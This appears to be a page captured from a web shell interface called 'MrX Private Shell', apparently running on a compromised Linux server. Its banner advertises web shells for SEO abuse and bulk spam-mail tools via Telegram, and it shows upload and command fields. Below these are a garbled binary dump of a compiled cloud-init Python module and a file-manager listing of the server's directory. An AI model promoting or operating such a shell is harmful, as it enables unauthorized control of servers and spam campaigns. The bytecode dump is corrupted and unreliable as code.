__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h����SSKrSSKJr SSKJrJr SSKJr SSKJ	r	 SSK
Jr \R"\5rSS0rS	rS
rS
r"SS\R(5r"S
S\5r\\R.44\\R.\R044/rSrg)�N)�net)�sources�util)�NoDHCPLeaseError)�EphemeralDHCPv4)�upcloud�metadata_urlz'http://169.254.169.254/metadata/v1.json��c�J�\rSrSrSrSrSrSrSrSr	Sr
\S	5rS
r
g)�DataSourceUpCloud��UpCloudFc��[RRXX#5 X l[	5Ul[R"[R"USS/05[/5Ul
URSUlURRS[5UlURRS[5UlURRS["5UlSUlSUlg)N�
datasourcerr	�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatar�
mergemanydict�get_cfg_by_path�BUILTIN_DS_CONFIG�ds_cfg�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_WAIT_RETRYr�_network_config�
metadata_full)�self�sys_cfgr�pathss    �E/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceUpCloud.pyr�DataSourceUpCloud.__init__"s������#�#�D�6�A������
��(�(��$�$�W�|�Y�.G��L�!�
�
���!%���N� ;����{�{���y�*�=����{�{���y�*�=����+�+�/�/�,�
�F���#���!���c�,�[R"5$�N)�	uc_helper�read_sysinfo�r%s r(�_get_sysinfo�DataSourceUpCloud._get_sysinfo3s���%�%�'�'r*c��[R"URURURUR
S9$)N)r�sec_betweenr)r-�
read_metadatarrrrr/s r(�_read_metadata� DataSourceUpCloud._read_metadata6s3���&�&��!�!��L�L�����L�L�	
�	
r*c��UR5upU(dg[RSU5 UR(aq[R	S5 [
R"5n[R	SU5 [URU5 UR5nSSS5 O&[R	S5 UR5nWUlUR#SU5UR$S'UR#S	5UR$S
'UR#S5UR$S'UR#S5UR$S
'UR#SS5UR$S'UR#SS5UlUR#SS5Ulg!,(df   N�=f![[R4a.n[R"[[U55 SnAgSnAff=f![RaDn[R"[[U55 [RSU5 SnAgSnAff=f)NFz"Running on UpCloud. server_uuid=%szFinding a fallback NICz*Discovering metadata via DHCP interface %sz7Discovering metadata without DHCP-configured networkingzENo DHCP-enabled interfaces available, unable to fetch metadata for %s�instance_idzinstance-id�hostnamezlocal-hostname�network�public_keyszpublic-keys�region�default�availability_zone�vendor_data�	user_dataT)r0�LOG�info�perform_dhcp_setup�debug�cloudnet�find_fallback_nicrrr5rr�InvalidMetaDataExceptionr�logexc�strr$rr�vendordata_raw�userdata_raw)r%�
is_upcloud�server_uuid�nic�md�es      r(�	_get_data�DataSourceUpCloud._get_data>s���$(�$5�$5�$7�!�������5�{�C��"�"�
��	�	�2�3��0�0�2���	�	�F��L�$�T�[�[�#�6��,�,�.�B�7�6�
��	�	�M���(�(�*�� ���')�v�v�m�[�'I��
�
�m�$�*,�&�&��*<��
�
�&�'�#%�6�6�)�#4��
�
�i� �')�v�v�m�'<��
�
�m�$�-/�V�V�H�i�-H��
�
�)�*� �f�f�]�D�9����F�F�;��5����;7�6��$�g�&F�&F�G�
����C��Q��(���
���3�3�
����C��Q��(����6���
��
�sO�AF8�F'�*F8�4%H�'
F5�1F8�5F8�8H�$G;�;H�I�:I�Ic�J�[R"UR55$r,)r�instance_id_matches_system_uuid�get_instance_id)r%r&s  r(�check_instance_id�#DataSourceUpCloud.check_instance_idks���6�6�t�7K�7K�7M�N�Nr*c���UR(aUR$URRS5nU(d[S5e[R
"U5UlUR$)z�
Configure the networking. This needs to be done each boot,
since the IP and interface information might have changed
due to reconfiguration.
r:z/Unable to get network meta-data from server....)r#rr�RuntimeErrorr-�convert_network_config)r%�raw_network_configs  r(�network_config� DataSourceUpCloud.network_confignsg������'�'�'�!�]�]�.�.�y�9��!��A��
� )�?�?�� 
����#�#�#r*)r#rrrrr$rrrKrJrN)�__name__�
__module__�__qualname__�__firstlineno__�dsnamerCrr0r5rQrV�propertyr\�__static_attributes__�r*r(r
r
s>��
�F���"�"(�
�+�ZO��$��$r*r
c��\rSrSrSrSrSrg)�DataSourceUpCloudLocal�ab
Run in init-local using a DHCP discovery prior to metadata crawl.

In init-local, no network is available. This subclass sets up minimal
networking with dhclient on a viable nic so that it can talk to the
metadata service. If the metadata service provides network configuration
then render the network configuration for that instance based on metadata.
TreN)r^r_r`ra�__doc__rCrdrer*r(rgrg�s����r*rgc�8�[R"U[5$r,)r�list_from_depends�datasources)�dependss r(�get_datasource_listrn�s���$�$�W�k�:�:r*)�logging�	cloudinitrrErr�cloudinit.net.dhcpr�cloudinit.net.ephemeralr�cloudinit.sources.helpersrr-�	getLoggerr^rArr r!r"rr
rg�DEP_FILESYSTEM�DEP_NETWORKrlrnrer*r(�<module>rws����%�#�/�3�:�
����!��#�%N�O���
�
�
��
�h$��*�*�h$�V
�.�
��g�4�4�6�7���/�/��1D�1D�E�F���;r*

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager